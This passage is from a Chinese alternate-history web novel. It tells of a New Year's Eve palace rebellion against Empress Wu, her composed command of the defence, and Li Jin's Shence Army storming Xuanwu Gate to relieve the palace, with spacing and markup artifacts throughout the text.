几乎在她话音落下的同时,一身戎装、按剑而立的左监门卫将军、检校右金吾卫将军程务挺已大步踏入殿中,单膝跪地:“ 臣 程 务 挺 在! 北 衙 禁 军 已 奉 命 集 结, 部 分 叛 军 已 入 皇 城, 正 在 嘉 猷 门 一 带 与 守 军 激 战。 臣已调兵封锁各宫门要道,并派兵前往弹压。 请 陛 下、 皇 后 娘 娘 放 心, 有 臣 在, 绝 不 让 叛 军 惊 扰 圣 驾!**” 他语速极快,显然早已得到消息并做出了反应。
看到程务挺,李治稍稍心安。武媚娘则点了点头,眼中厉色一闪:“ 程 将 军, 本 宫 与 陛 下 的 安 危, 就 交 付 与 你 了。 叛军既然敢夜闯宫禁, 必 是 穷 凶 极 恶 之 徒, 不 必 留 情, 给 我 杀 ! 一个不留! 同 时, 立 刻 派 人 出 宫, 通 知 李 相 ( 李 瑾) 和 神 策 军 留 守 将 领, 让 他 们 速 速 领 兵 前 来 护 驾、 平 乱!**”
“臣遵旨!” 程务挺慨然应诺,起身按剑,大步走出殿外,旋即,殿外传来了他果断的调兵命令声。
武媚娘走到殿门口,望向北方火光隐隐、杀声阵阵的天空,绝美的面容在跳动的烛火映照下,显得格外冷峻,甚至有些狰狞。 她 知 道, 这 一 夜, 将 是 她 政 治 生 涯 中 最 危 险 的 一 夜, 也 可 能 是 … … 彻 底 清 除 所 有 反 对 力 量 的 最 佳 时 机。
“ 想 要 本 宫 的 命? 想 要 清 君 侧?” 她低声自语,嘴角勾起一抹冰冷而残酷的弧度,“ 那 就 看 看, 到 底 是 谁 清 洗 谁 吧。**”
殿内,李治的咳嗽声渐渐平息,他靠在榻上,望着武媚娘挺直而决绝的背影,眼神复杂。 远 处 的 喊 杀 声 越 来 越 激 烈, 火 光 也 越 来 越 亮, 甚 至 映 红 了 半 边 天 空。 这个除夕之夜,大唐帝国的权力中心, 正 在 经 历 一 场 前 所 未 有 的 血 腥 风 暴。 而这场风暴的结局,将决定这个庞大帝国未来的命运走向。
第135章 媚娘临危不乱
寅时三刻,夜色如墨,但北方的天际已被火光和浓烟染上一层不祥的暗红。紫宸殿内,烛火通明,将每一个人的影子都拉得细长而扭曲,投在冰冷的金砖地面上,如同此刻殿内众人紧绷欲断的心弦。
李治躺在御榻上,盖着厚厚的锦被,脸色苍白如纸,胸膛剧烈起伏,不时爆发出撕心裂肺的咳嗽。叛军夜闯宫禁、喊杀震天的消息,如同最后一根稻草,压垮了他本就油尽灯枯的身体。 惊 怒、 恐 惧、 不 敢 置 信 交 织 在 一 起, 让 他 一 时 间 竟 说 不 出 完 整 的 话 来, 只是用颤抖的手指,指着殿外火光冲天的方向,喉咙里发出嗬嗬的响声。
“陛……陛下! 是 荆 王! 是江夏王! 他 们 … … 他 们 打 着 ‘ 清 君 侧’ 的 旗 号, 从 玄 武 门 杀 进 来 了! 口口声声要……要诛杀皇后和转运使李公!” 一名内侍监连滚爬爬地冲进来,脸上沾着不知是谁溅上的血点,声音因为极度的恐惧而变了调。
“ 逆 臣! 逆 子!” 李治终于从牙缝里挤出几个字,随即又是一阵猛咳,几乎喘不过气来。 他 虽 病 体 缠 身, 但 并 不 糊 涂, “ 清 君 侧” 这 三 个 字 背 后 的 血 腥 与 野 心, 他 太 清 楚 了。** 他挣扎着想要坐起,却被一阵眩晕击倒,只能无力地瘫在榻上,眼中充满了愤怒、痛苦,还有一丝深藏的、对自身无力掌控局面的悲哀。
与皇帝的惊怒交加形成鲜明对比的,是皇后武媚娘。
她已褪去了睡袍,换上了一身便于行动的深青色窄袖胡服,长发简单地绾在脑后,用一根玉簪固定。脸上脂粉未施,却更显出一种凛然不可侵犯的威严。 她 站 在 御 榻 旁, 身 姿 挺 拔 如 松, 面 对 殿 外 越 来 越 近、 越 来 越 清 晰 的 喊 杀 声, 脸 上 看 不 到 丝 毫 惊 慌, 只 有 一 片 冰 封 般 的 沉 静 与 肃 杀。 那双凤目之中,寒光闪烁,仿佛能穿透宫殿的墙壁,直视战场上的一切。
“ 陛 下 龙 体 欠 安, 勿 要 动 怒, 小 心 伤 了 根 本。” 她的声音平稳而清晰,带着一种奇异的安抚力量,仿佛外面不是生死搏杀的战场,而只是一场喧闹的庙会。“ 不 过 是 几 个 利 令 智 昏、 不 自 量 力 的 跳 梁 小 丑, 掀 不 起 什 么 风 浪。 程 将 军 忠 心 可 鉴, 北 衙 禁 军 训 练 有 素, 定 能 平 息 叛 乱, 保 陛 下 与 大 内 安 然 无 恙。”
她语气越是平静,越是衬得殿内其他宦官宫女的瑟瑟发抖和皇帝的惊怒无力。 这 种 临 危 不 乱、 甚 至 可 以 说 是 冷 酷 的 镇 定, 让 人 不 由 自 主 地 感 到 一 种 信 服 和 … … 畏 惧。**
“ 程 务 挺 !**” 武媚娘提高声音。
“臣在!” 程务挺甲胄铿锵,再次踏入殿内,身上还带着殿外的寒气与一丝淡淡的血腥味。他单膝跪地,抱拳道:“ 禀 陛 下、 皇 后 娘 娘, 叛 军 主 力 约 四 五 百 人, 臂 缠 白 巾, 多 为 亡 命 之 徒 及 部 分 不 明 身 份 的 军 士。 其前锋已突破嘉猷门,正分作两股, 一 股 约 百 余 人, 由 江 夏 王 李 道 宗 率 领, 猛 攻 通 往 内 廷 的 永 安 门; 另一股约数十人,似乎试图绕过主战场, 朝 两 仪 殿 方 向 迂 回。 玄武门仍在叛军控制之下,但蒋王、霍王所部被臣调集的援军阻于城门附近,难以深入。 独 孤 谋 叛 变, 玄 武 门 失 守 与 其 有 直 接 关 联。**”
程务挺的汇报简洁明了,瞬间将混乱的战场形势勾勒清楚。
“ 叛 军 有 多 少 弓 弩?** 可有甲胄?” 武媚娘问出一个关键问题。
“ 弓 弩 不 多, 甲 胄 亦 稀 少, 多 为 轻 装 短 兵。** 但其凶悍异常,且似乎对宫禁路径颇为熟悉。”
武媚娘微微颔首,心中已有计较。 叛 军 人 数 不 占 优, 装 备 亦 不 精 良, 唯 一 的 优 势 是 突 然 性 和 内 应。** 如今突然性已失,内应(独孤谋)暴露,只要顶住其最初最凶猛的攻势,等外援一到,或宫内守军完成集结反击,叛军必败无疑。
“ 程 将 军, 本 宫 命 你:” 武媚娘的声音陡然转厉,带着不容置疑的决断,“ 第 一, 不 惜 一 切 代 价, 死 守 永 安 门 及 通 往 紫 宸 殿、 两 仪 殿 的 所 有 要 道! 绝不能让一个叛军踏入内廷核心区域! 告 诉 将 士 们, 陛 下 与 本 宫 就 在 此 处, 与 他 们 同 在! 凡有斩获、力战不退者, 事 后 必 有 重 赏, 官 升 三 级, 赐 金 百 两! 临阵脱逃、畏敌不前者, 诛 九 族!”
“ 第 二, 立 刻 派 出 你 最 信 得 过 的 心 腹, 持 陛 下 与 本 宫 的 信 物, 分 多 路 突 围 出 宫! 一路前往转运使司, 命 李 瑾 立 即 调 动 一 切 可 用 之 兵, 尤 其 是 神 策 军 留 守 兵 马, 火 速 前 来 救 驾, 并 封 锁 长 安 各 门, 不 许 任 何 人 趁 乱 出 入! 一路前往右金吾卫、左骁卫等南衙诸卫府, 命 其 立 即 整 军 待 命, 没 有 陛 下 与 本 宫 的 明 确 旨 意, 不 得 擅 自 调 动 一 兵 一 卒, 违 者 以 谋 逆 同 党 论 处!” 这 一 手 极 为 厉 害, 既 调 动 忠 于 自 己 的 力 量, 又 防 止 了 其 他 可 能 心 怀 叵 测 或 观 望 的 军 队 卷 入, 造 成 更 大 混 乱。
“ 第 三, 立 即 派 人 控 制 宫 中 各 处 门 户、 水 井、 膳 房 及 仓 廪! 谨防叛军或其内应纵火、下毒、制造更大混乱! 所 有 宦 官、 宫 女, 立 即 回 归 本 处, 不 得 随 意 走 动, 违 令 者 斩! 各殿门窗紧闭,无令不得开启!”
“ 第 四, 派 人 去 接 太 子 ( 李 弘) 和 几 位 年 幼 的 皇 子 公 主, 全 部 接 到 紫 宸 殿 偏 殿 集 中 保 护! 命 殿 中 省 和 内 侍 监, 立 刻 清 点 所 有 在 宫 内 值 宿 的 官 员、 宦 官, 凡 有 行 迹 可 疑、 无 故 失 踪 者, 立 刻 记 下, 事 后 严 查!**”
一条条指令,清晰果断,从她口中吐出,没有丝毫犹豫和停顿, 仿 佛 早 已 在 心 中 推 演 过 无 数 遍。 从军事防御到情报传递,从内部维稳到皇室成员保护,甚至事后的追查线索,都考虑得面面俱到。 这 种 在 巨 大 危 机 下 依 然 保 持 的 缜 密 思 维 和 铁 腕 作 风, 让 在 场 所 有 人, 包 括 程 务 挺 在 内, 都 为 之 心 折 同 时 又 不 寒 而 栗。**
“臣,领旨!” 程务挺大声应诺,心中最后一丝因为皇帝病重、皇后是女流而产生的疑虑也烟消云散。 此 刻 的 武 皇 后, 就 是 这 座 宫 殿、 乃 至 整 个 大 唐 帝 国 最 坚 定 的 主 心 骨。** 他再次行礼,转身大步流星地走出殿外,一连串急促而有力的命令声随即在殿外响起。
武媚娘又转向侍立一旁、虽然脸色发白但强自镇定的上官婉儿:“ 婉 儿, 取 纸 笔 来。** 本宫要拟旨。”
“是,娘娘。” 上官婉儿迅速备好笔墨。
武媚娘略一沉吟,提笔疾书。她先以皇帝的口吻,草拟了一份紧急诏书, 痛 斥 荆 王 李 元 景、 江 夏 王 李 道 宗 等 人 “ 纠 合 凶 徒, 夜 犯 宫 闱, 图 谋 不 轨, 罪 同 谋 逆”, 宣布剥夺其一切爵位官职,天下共讨之。 同 时, 明 确 授 权 北 衙 禁 军、 神 策 军 及 各 卫 府, 遇 叛 军 可 格 杀 勿 论, 有 能 擒 斩 贼 首 者, 封 侯 赏 万 金。 这 是 夺 其 名 分, 定 其 罪 性, 鼓 舞 平 叛 军 心。**
接着,她又以皇后名义,草拟了一道懿旨, 晓 谕 宫 中 所 有 人 等, 安 心 守 职, 不 必 惊 慌, 凡 有 助 于 平 乱 者, 重 赏; 凡 有 勾 结 叛 乱、 散 布 谣 言 者, 立 斩 不 赦。 这 是 稳 定 宫 内 人 心, 防 止 内 部 生 乱。**
写完后,她将诏书和懿旨拿到李治面前:“ 陛 下, 情 势 危 急, 需 立 刻 明 发 诏 旨, 以 定 人 心, 正 视 听。 请陛下用印。”
李治艰难地抬起头,看了一眼诏书内容,尤其是“罪同谋逆”、“格杀勿论”等字眼,嘴角抽搐了一下,眼中闪过一丝复杂。 这 毕 竟 是 他 的 叔 父 和 兄 弟。 但耳畔越来越近的喊杀声,以及武媚娘那不容置疑的眼神,让他明白,此刻已无退路, 不 是 你 死, 就 是 我 亡。 他颤抖着手,指了指御榻旁的一个锦盒。上官婉儿会意,取出“皇帝之宝”玉玺,在武媚娘的指示下,重重盖在诏书和懿旨之上。
“ 立 刻 着 人 誊 抄 多 份, 由 程 将 军 安 排 人 手, 在 宫 内 各 处 张 贴, 并 设 法 送 出 宫 外, 晓 谕 百 官 军 民!” 武媚娘将盖好玺印的诏书交给一名心腹宦官,厉声吩咐。
做完这些,她才稍稍缓了一口气,但目光依然锐利如鹰,扫视着殿内。 太 子 李 弘 和 几 位 年 幼 的 皇 子 公 主 已 被 安 全 接 到 偏 殿, 由 可 靠 的 侍 卫 和 乳 母 保 护 着。** 殿内外的侍卫明显增多,且都是程务挺亲自安排的北衙禁军精锐,刀出鞘,箭上弦,戒备森严。
“ 娘 娘 … … 叛 军 … … 叛 军 会 打 进 来 吗?**” 一个年纪尚小的公主忍不住带着哭腔问道,她从未经历过如此可怕的夜晚。
武媚娘走到她面前,蹲下身,轻轻拭去她脸上的泪珠,声音放缓,却带着无比坚定的力量:“ 不 会。 有母后在,有程将军和那么多忠勇的将士在, 没 有 人 能 伤 害 你 们。 乖乖待在这里,很快,一切就会结束。” 她的安抚起了作用,孩子们渐渐停止了哭泣,依偎在一起。
安抚完孩子,武媚娘走回御榻边,看着形容憔悴、眼神涣散的李治,心中掠过一丝复杂的情绪,但很快被冰冷的理智取代。 她 握 住 李 治 冰 凉 的 手, 低 声 道:“ 陛 下 放 心, 臣 妾 在 此, 大 唐 的 天, 塌 不 下 来。 那些宵小之徒,不过是秋后的蚂蚱, 蹦 跶 不 了 几 时 了。”
李治反握住她的手,握得很紧,仿佛要从这交握中汲取一丝力量,他张了张嘴,最终只是无力地点了点头。
就在这时,殿外传来一阵更加激烈和接近的喊杀声,甚至能清晰地听到兵刃猛烈撞击的巨响和垂死的惨嚎!一名侍卫满脸是血地冲进来:“ 报 ! 叛 军 攻 势 凶 猛, 已 突 破 永 安 门 外 围 防 线! 程将军正亲自率部在永安门前阻击! 叛 军 中 有 人 高 呼 … … 高 呼 ‘ 清 君 侧, 诛 武 氏’!**”
“ 诛 武 氏?” 武媚娘闻言,不怒反笑,只是那笑容冰冷得没有一丝温度。她缓缓站起身,走到大殿门口,望向北方那片被火光照亮的天空, 眼 中 的 杀 意 如 同 实 质 般 凝 结。**
“ 想 诛 本 宫?” 她低声自语,声音轻得只有自己才能听见,“ 那 就 看 看, 到 底 是 谁 的 刀 更 利, 谁 的 心 更 狠 吧。 李元景,李道宗…… 还 有 所 有 藏 在 暗 处 的 魑 魅 魍 魉, 今 夜, 本 宫 就 用 你 们 的 血, 来 染 红 这 大 唐 的 宫 阶, 来 奠 定 本 宫 不 可 动 摇 的 权 威!”
她猛地转身,对殿内肃立的侍卫首领下令:“ 传 本 宫 口 谕 给 程 务 挺: 不 必 拘 泥 于 防 守, 可 寻 机 主 动 出 击, 斩 杀 叛 军 首 恶 者, 本 宫 保 他 一 个 国 公 之 位! 另 外, 给 本 宫 取 甲 胄 弓 箭 来!**”
最后这句话,让殿内所有人都惊呆了。上官婉儿更是失声道:“ 娘 娘 ! 万万不可! 您 万 金 之 躯, 岂 可 亲 临 险 地?”
“ 万 金 之 躯?” 武媚娘冷笑,“ 若 宫 门 被 破, 覆 巢 之 下, 安 有 完 卵? 本宫就在这里, 就 在 这 紫 宸 殿 前, 看 看 哪 个 乱 臣 贼 子, 有 本 事 取 本 宫 的 性 命!** 取甲胄来!”
她的声音并不高亢,却带着一种斩钉截铁、不容违逆的意志。 在 这 生 死 存 亡 的 关 头, 她 不 仅 要 坐 镇 中 枢 指 挥 若 定, 更 要 以 一 种 决 绝 的 姿 态, 亲 临 前 线 ( 哪 怕 是 相 对 安 全 的 前 线), 来 激 励 守 军 士 气, 震 慑 叛 军 胆 魄! 她要让所有人都看到, 她 武 媚 娘, 不 是 那 种 只 会 躲 在 深 宫 发 号 施 令 的 弱 质 女 流, 而 是 敢 于 直 面 刀 兵、 与 将 士 同 生 死 的 大 唐 国 母!**
很快,一副为皇后特制的、装饰着凤纹的轻便皮甲和一把精美的角弓被送了进来。武媚娘在宫女的帮助下,迅速披甲,虽然动作略显生疏,但那份从容与决绝, 却 让 在 场 每 一 个 人 都 为 之 动 容。 当她束紧甲带,将那把角弓握在手中时, 整 个 人 的 气 质 仿 佛 都 变 了, 从 一 位 高 高 在 上 的 皇 后, 变 成 了 一 位 即 将 踏 上 战 场 的 统 帅。
“ 摆 驾, 紫 宸 殿 前 阶!” 武媚娘手持角弓,迈步向殿外走去。殿门打开,寒冷的夜风裹挟着远处的血腥气和喊杀声扑面而来, 她 的 步 伐 没 有 丝 毫 停 顿, 反 而 更 加 坚 定。**
殿前宽阔的广场上,火把通明,甲士林立,气氛肃杀。 远 处 永 安 门 方 向 的 厮 杀 声 愈 发 清 晰 可 闻, 甚 至 能 看 到 箭 矢 划 过 夜 空 的 火 光。 武媚娘站在高高的殿阶上,夜风吹动她的衣甲和发丝, 她 的 身 影 在 火 光 中 显 得 有 些 单 薄, 却 又 如 同 磐 石 般 不 可 动 摇。
“ 将 士 们!” 她清越的声音在夜空中响起,压过了远处的喧嚣,“ 叛 军 犯 阙, 图 谋 不 轨, 陛 下 与 本 宫, 就 在 你 们 身 后! 今夜, 凡 为 国 尽 忠、 力 战 杀 敌 者, 皆 是 大 唐 功 臣, 陛 下 与 本 宫 绝 不 吝 封 侯 之 赏! 本宫在此, 与 尔 等 共 进 退, 同 生 死! 大唐万年!”
“ 大 唐 万 年! 陛 下 万 岁! 皇 后 千 岁!” 殿前的侍卫们受到皇后的亲自激励,又见皇后竟披甲亲临,顿时士气大振,爆发出震天的吼声。这吼声如同滚滚惊雷, 压 过 了 远 处 叛 军 的 喊 杀, 在 皇 宫 上 空 回 荡, 宣 示 着 这 座 帝 国 中 枢 绝 不 屈 服 的 意 志。**
武媚娘伫立阶上,手握角弓,目光如冰, 远 远 眺 望 着 永 安 门 方 向 的 战 火。 她知道,最危险的时刻或许还未过去,但至少, 她 已 经 稳 住 了 这 紫 宸 殿 的 人 心, 也 稳 住 了 这 场 平 叛 之 战 的 基 本 盘。 接下里,就要看程务挺能抵挡多久, 以 及 … … 李 瑾 何 时 能 到 了。
夜色,在厮杀与火光中,显得格外漫长。而武媚娘的身影,如同定海神针,牢牢钉在紫宸殿前, 也 钉 在 了 所 有 见 证 这 一 夜 的 人 心 之 中。
第136章 瑾率兵救驾
寅时四刻,长安城,永兴坊,转运使司。
夜色深沉,长安城各坊一片寂静,绝大多数百姓还沉浸在除夕的酣梦或守岁的余韵中,对皇城方向的隐隐喧嚣茫然不觉。但转运使司衙门内,却已是灯火通明,气氛凝重如铁。
李瑾和衣而卧,并未安寝。自从盐铁专卖推行、尤其是平定江淮之乱后,他树敌无数,深知自己与武后已是一荣俱荣、一损俱损,对长安城内的任何风吹草动都保持着异乎寻常的警惕。 更 何 况, 近 日 他 通 过 自 己 的 渠 道, 也 隐 约 察 觉 到 一 些 宗 室 和 旧 臣 异 动 的 蛛 丝 马 迹, 虽 不 明 确, 却 足 以 让 他 夜 不 能 寐。
当那隐约的喊杀声和急促的警锣声,混杂在寒风中远远传来时,李瑾几乎是从榻上弹了起来。他侧耳倾听,脸色骤变——声音传来的方向,正是皇城、宫城!
“ 不 好!” 他心中警铃大作,毫不犹豫地厉声喝道:“来人!备马! 传 我 将 令, 神 策 军 留 守 大 营 全 体 披 甲 持 械, 立 即 集 合! 通知左、右骁卫,左、右武卫留驻长安的将军,立刻到本官衙署听令! 再 派 人 去 各 城 门 查 看, 有 无 异 动!** 快!”
他的亲卫队长李破军,一个跟随他从边军到神策军的剽悍老兵,应声而入,抱拳领命,转身如旋风般冲出。顷刻间,原本沉寂的转运使司衙门如同被捅了的马蜂窝,瞬间沸腾起来。脚步声、甲胄碰撞声、低沉的号令声此起彼伏。
李瑾迅速穿戴整齐,他没有穿文官袍服,而是套上了一身神策军高级将领的明光铠。冰冷的甲叶摩擦声让他更加清醒。他走到院中,仰头望向皇城方向, 那 里 的 天 空 已 经 被 火 光 映 红 了 一 片, 喊 杀 声 也 越 来 越 清 晰。** 他的心猛地一沉——叛乱已经发生,而且规模不小,居然能杀入宫城!
“ 荆 王 … … 江 夏 王 … … 好 大 的 胆 子! 好毒的算计!” 李瑾咬牙切齿,瞬间就猜到了主谋。选择除夕夜、元旦大朝会前夕动手,就是要打一个措手不及! 他 不 担 心 武 后 的 应 对 能 力, 但 担 心 对 方 蓄 谋 已 久, 宫 内 守 军 是 否 有 足 够 的 准 备 和 力 量 抵 挡 住 第 一 波 最 凶 猛 的 攻 势。**
“大人!神策军留守三个团,一千五百人,已全员集结完毕,正在营外候命!” 李破军快步返回,身上也披上了重甲,脸上带着凛冽的杀气,“左骁卫中郎将、左武卫将军已到衙外!右骁卫、右武卫暂无线索,其将军府邸无人应答,可能已被控制或参与叛乱!”
“ 不 必 等 了!” 李瑾眼中寒光一闪,“传令神策军,目标玄武门,全速前进! 遇 有 任 何 阻 拦, 不 论 是 谁, 一 律 视 为 叛 军 同 党, 格 杀 勿 论! 李破军,你带一队人,持我手令,立刻接管春明门、金光门、延兴门、安化门四门防务,封闭城门,许进不许出! 没 有 我 或 皇 后 娘 娘 的 亲 笔 手 谕, 一 只 苍 蝇 也 不 许 放 出 去!**”
“是!” 李破军领命而去。
李瑾又看向匆匆赶来的左骁卫中郎将和左武卫将军。这两人都是程务挺的旧部,与李瑾在盐铁事务和神策军整训中也有交集,算是可以信任之人。“两位将军, 宫 中 有 变, 有 逆 贼 作 乱。 本官奉皇后娘娘密令,总领平叛事宜! 现 命 你 二 人, 立 即 集 合 所 能 掌 控 的 所 有 南 衙 卫 士, 一 部 分 封 锁 皇 城 其 他 各 门, 防 止 叛 军 外 逃 或 有 人 里 应 外 合; 另一部分,随本官前往玄武门平叛! 速 去!**”
“末将遵命!” 两人也知事态严重,不敢有丝毫犹豫,抱拳领命,匆匆离去调兵。
安排完这些,李瑾不再等待,翻身上马,在数十名亲卫的簇拥下,冲向神策军集结地。 夜 色 中, 寒 风 扑 面, 但 李 瑾 心 中 只 有 一 片 灼 热 的 焦 急 和 杀 意。 武后的安危,大唐的稳定,他自己的身家性命,全都系于此刻!
几乎与此同时,数名浑身浴血、疲惫不堪的宦官和侍卫,在付出了惨重代价后,终于突破了叛军在宫城外围的零星封锁,从不同的侧门或翻越宫墙,逃出了皇城, 疯 狂 地 奔 向 转 运 使 司 和 神 策 军 大 营 所 在 的 方 向。** 他们怀中,紧紧揣着盖有皇帝玉玺和皇后印鉴的诏书,以及武媚娘的口谕。
当李瑾在神策军阵前,接到那染血的诏书和听到宦官带着哭腔的禀报——“ 叛 军 已 破 嘉 猷 门, 正 猛 攻 永 安 门, 程 将 军 苦 战, 皇 后 娘 娘 披 甲 亲 临 紫 宸 殿 前 激 励 士 卒 … … 危 在 旦 夕, 请 李 公 速 速 救 驾!”** 时,他只觉得一股热血直冲顶门,眼睛都红了。
“ 皇 后 娘 娘 … …**” 他低声念了一句,猛地抽出腰间御赐的横刀,指向皇城北面火光最盛之处——玄武门,用尽全身力气嘶声怒吼:
“ 神 策 军 将 士 听 令! 逆 贼 作 乱, 犯 阙 惊 驾! 陛下与皇后娘娘危在旦夕! 养 兵 千 日, 用 兵 一 时! 随我杀入玄武门, 剿 灭 叛 匪, 保 卫 圣 驾, 重 赏 不 吝, 怯 战 者 斩! 目标——玄武门, 全 军 ! 突 击!”
“ 杀! 杀! 杀!” 一千五百名神策军将士齐声怒吼,声震云霄。这支由李瑾亲手打造、装备精良、训练有素、历经江淮平叛血火洗礼的新军,瞬间爆发出惊人的气势和杀意。 铁 甲 铿 锵, 刀 枪 如 林, 在 火 把 的 照 耀 下 泛 着 冰 冷 的 寒 光, 如 同 一 股 钢 铁 洪 流, 在 李 瑾 的 率 领 下, 向 着 玄 武 门 狂 飙 突 进!**
马蹄声、脚步声、甲胄撞击声,如同闷雷滚过长安城的街道,惊醒了无数睡梦中的人。沿途巡夜的金吾卫,看到这杀气腾腾、直奔皇城而去的军队,无不骇然失色,纷纷避让。 有 人 想 要 阻 拦 询 问, 但 看 到 那 明 晃 晃 的 诏 书 和 李 瑾 那 杀 气 四 溢 的 脸 色, 以 及 皇 城 方 向 的 火 光, 都 识 趣 地 让 开 了 道 路。
寅时末,玄武门外。
蒋王李元恽和霍王李元轨正陷入苦战。他们虽然暂时控制了玄武门城楼和城门,但程务挺反应极快, 不 仅 调 动 了 北 衙 禁 军 主 力 在 宫 内 阻 击 江 夏 王, 同 时 也 派 出 了 精 锐 力 量 从 安 礼 门、 通 化 门 等 方 向 出 击, 试 图 夺 回 玄 武 门, 切 断 叛 军 退 路 和 后 续 支 援。**
驻守宫城各门的北衙禁军,毕竟是训练有素的正规军,最初的混乱过后,在程务挺的指挥和武后诏书的激励下,迅速组织起有效的反击。蒋王和霍王手下不过百余人,又要分兵把守城门、登城马道,还要应对从宫内杀出的敌军,顿时左支右绌,伤亡惨重。
“ 顶 住! 给我顶住!江夏王和韩王很快就能拿下两仪殿,控制陛下!只要陛下在手,我们就赢了!” 霍王李元轨挥舞着长剑,声嘶力竭地吼叫着,试图鼓舞士气。但他心中已是一片冰凉。 宫 内 的 喊 杀 声 虽 然 激 烈, 却 始 终 无 法 向 内 廷 核 心 区 域 推 进, 显 然 遭 遇 了 顽 强 抵 抗。** 而他们这边,压力越来越大。
就在此时,地面传来了沉闷的、整齐划一的震动声。那声音如同无数巨鼓在敲击地面,由远及近,迅速变得清晰可闻。 不 是 零 散 的 脚 步, 而 是 成 建 制 的、 训 练 有 素 的 大 军 在 奔 跑 和 行 进 的 声 音!**
“ 什 么 声 音?” 蒋王李元恽惊疑不定地望向黑暗中的长安城坊区。
很快,答案揭晓。 只 见 玄 武 门 前 宽 阔 的 天 街 上, 一 条 火 龙 疾 驰 而 来, 那 是 无 数 支 熊 熊 燃 烧 的 火 把。 火把光芒照耀下,是如墙而进的钢铁丛林! 明 光 铠 反 射 着 冷 冽 的 光, 制 式 的 横 刀 和 长 槊 指 向 天 空, 行 进 间 甲 叶 铿 锵, 步 伐 沉 稳 而 迅 捷, 散 发 出 一 种 令 人 窒 息 的 压 迫 感。** 队伍最前方,一杆“李”字大旗和“神策军”旗号在火光中猎猎作响,旗下,正是面沉如水、眼中燃烧着熊熊怒火的李瑾!
“ 神 … … 神 策 军! 是李瑾!李瑾来了!” 霍王李元轨失声惊呼,脸上血色尽褪。 他 们 最 担 心 的 事 情 发 生 了!** 神策军,这支在江淮杀得盐商叛军血流成河的新军,竟然来得如此之快!
“ 放 箭! 快放箭!拦住他们!关城门!” 蒋王李元恽如梦初醒,嘶声吼叫。
玄武门城楼上残余的叛军和独孤谋的部下,慌乱地张弓搭箭,稀稀落落的箭矢射向疾驰而来的神策军。然而,神策军前排的重盾手早已竖起高大的盾牌, 箭 矢 叮 叮 当 当 地 射 在 盾 牌 上, 根 本 无 法 阻 挡 这 钢 铁 洪 流 的 步 伐。**
“ 弩 手! 三轮齐射,压制城头!” 李瑾勒住战马,手中横刀向前一指。
“ 诺!” 神策军阵中,传来整齐的应和。随即, 数 百 名 弩 手 越 众 而 出, 在 盾 牌 的 掩 护 下, 对 准 玄 武 门 城 楼 和 城 墙 上 的 人 影, 扣 动 了 扳 机。**
“ 嗡 —— 噗 噗 噗 … …” 强劲的弩机震颤声和箭矢入肉的沉闷声响成一片。神策军装备的劲弩射程远、威力大,绝非叛军手中的普通弓箭可比。 刹 那 间, 城 头 上 惨 叫 声 四 起, 不 少 叛 军 甚 至 来 不 及 反 应, 就 被 弩 箭 贯 穿 身 体, 从 城 头 栽 落 下 来。** 三轮齐射过后,城头上的箭雨几乎完全停止,只剩下零星的、惊恐的反击。
“ 陌 刀 队! 破 门! 其余人, 随 我 杀 上 城 楼, 清 剿 残 敌!**” 李瑾再次下令,一马当先,冲向城门。
“ 杀!” 如雷的怒吼声中,数十名身材异常高大魁梧、身披重甲的神策军陌刀手,扛着巨大的撞木,怒吼着冲向厚重的玄武门。 而 其 他 神 策 军 士 卒, 则 在 弓 弩 的 掩 护 下, 架 起 云 梯, 如 同 猿 猴 般 敏 捷 地 向 城 头 攀 爬。**
“ 轰! 轰! 轰!” 沉重的撞木,在力士的推动下,一次又一次猛烈地撞击着城门。 每 一 次 撞 击, 都 让 整 个 城 门 楼 为 之 震 颤, 也 让 城 门 后 拼 死 抵 住 门 闩 的 叛 军 肝 胆 俱 裂。
蒋王和霍王知道,一旦城门被破,他们这点人根本抵挡不住如狼似虎的神策军。 两 人 对 视 一 眼, 都 从 对 方 眼 中 看 到 了 绝 望 和 疯 狂。**
“ 跟 他 们 拼 了!** 杀一个够本,杀两个赚一个!” 霍王李元轨嘶吼着,带领最后的亲卫家将,扑向那些已经开始登上城头的神策军士兵。
然而, 训 练 有 素、 装 备 精 良、 配 合 默 契 的 神 策 军, 根 本 不 是 这 些 仓 促 纠 合 的 叛 军 和 养 尊 处 优 的 王 府 家 将 能 够 抵 挡 的。 神策军士兵三人一组,背靠背结阵,刀盾配合,长枪突刺,如同高效的杀戮机器, 迅 速 将 冲 上 来 的 叛 军 吞 噬、 分 割、 砍 倒。 城头上,鲜血如同小溪般流淌,残肢断臂四处散落。
“ 轰 隆 !” 一声巨响,玄武门那厚重的包铁木门,终于在撞木的持续猛击下,轰然洞开!
“ 城 门 已 破! 随我杀进去! 救 驾! 平 叛!” 李瑾横刀一挥,身先士卒,从洞开的城门冲了进去。 身 后, 如 狼 似 虎 的 神 策 军 将 士 如 潮 水 般 涌 入 玄 武 门, 瞬 间 就 将 门 洞 内 负 隅 顽 抗 的 最 后 几 十 名 叛 军 淹 没。**
李瑾一眼就看到了正在城楼附近与几名神策军士兵缠斗的霍王李元轨和蒋王李元恽。 他 毫 不 犹 豫, 策 马 直 冲 过 去, 手 中 横 刀 借 着 马 势, 化 作 一 道 凄 冷 的 寒 光, 直 劈 霍 王 李 元 轨!**
李元轨也算有些武艺,仓促间举剑格挡。“ 铛 !”一声刺耳的金铁交鸣,李元轨只觉得一股无可抵御的巨力从剑上传来,虎口崩裂,长剑脱手飞出。他还未从震惊中回过神, 李 瑾 的 第 二 刀 已 经 如 影 随 形 般 斩 到, 毫 不 留 情 地 掠 过 了 他 的 脖 颈。**
一颗带着惊愕与不甘表情的头颅冲天而起,鲜血喷溅出丈余远。霍王李元轨,毙命!
旁边的蒋王李元恽目睹此景,吓得魂飞魄散,转身想跑,却被几名神策军士兵用长枪死死逼住。
“ 留 活 口!” 李瑾厉声喝道,同时目光如电,扫视战场,“ 清 剿 残 敌, 控 制 城 门 和 城 楼! 其余人, 随 我 杀 进 去, 支 援 程 将 军, 剿 灭 宫 内 叛 军!** 快!”
留下部分人马清理玄武门残敌、看守俘虏,李瑾马不停蹄,率领神策军主力, 沿 着 血 迹 斑 斑、 尸 横 遍 地 的 宫 道, 向 着 永 安 门 方 向 狂 飙 突 进。 沿途所见,尽是战斗的惨烈痕迹,倒伏的尸首既有叛军,也有宫中的侍卫宦官, 鲜 血 将 白 雪 和 金 砖 染 成 了 触 目 惊 心 的 红 黑 色。**
越往里走,喊杀声、兵刃撞击声、垂死哀嚎声就越是清晰。 等 到 李 瑾 率 军 冲 到 永 安 门 附 近 时, 看 到 的 正 是 一 幅 极 为 惨 烈 的 画 面:**
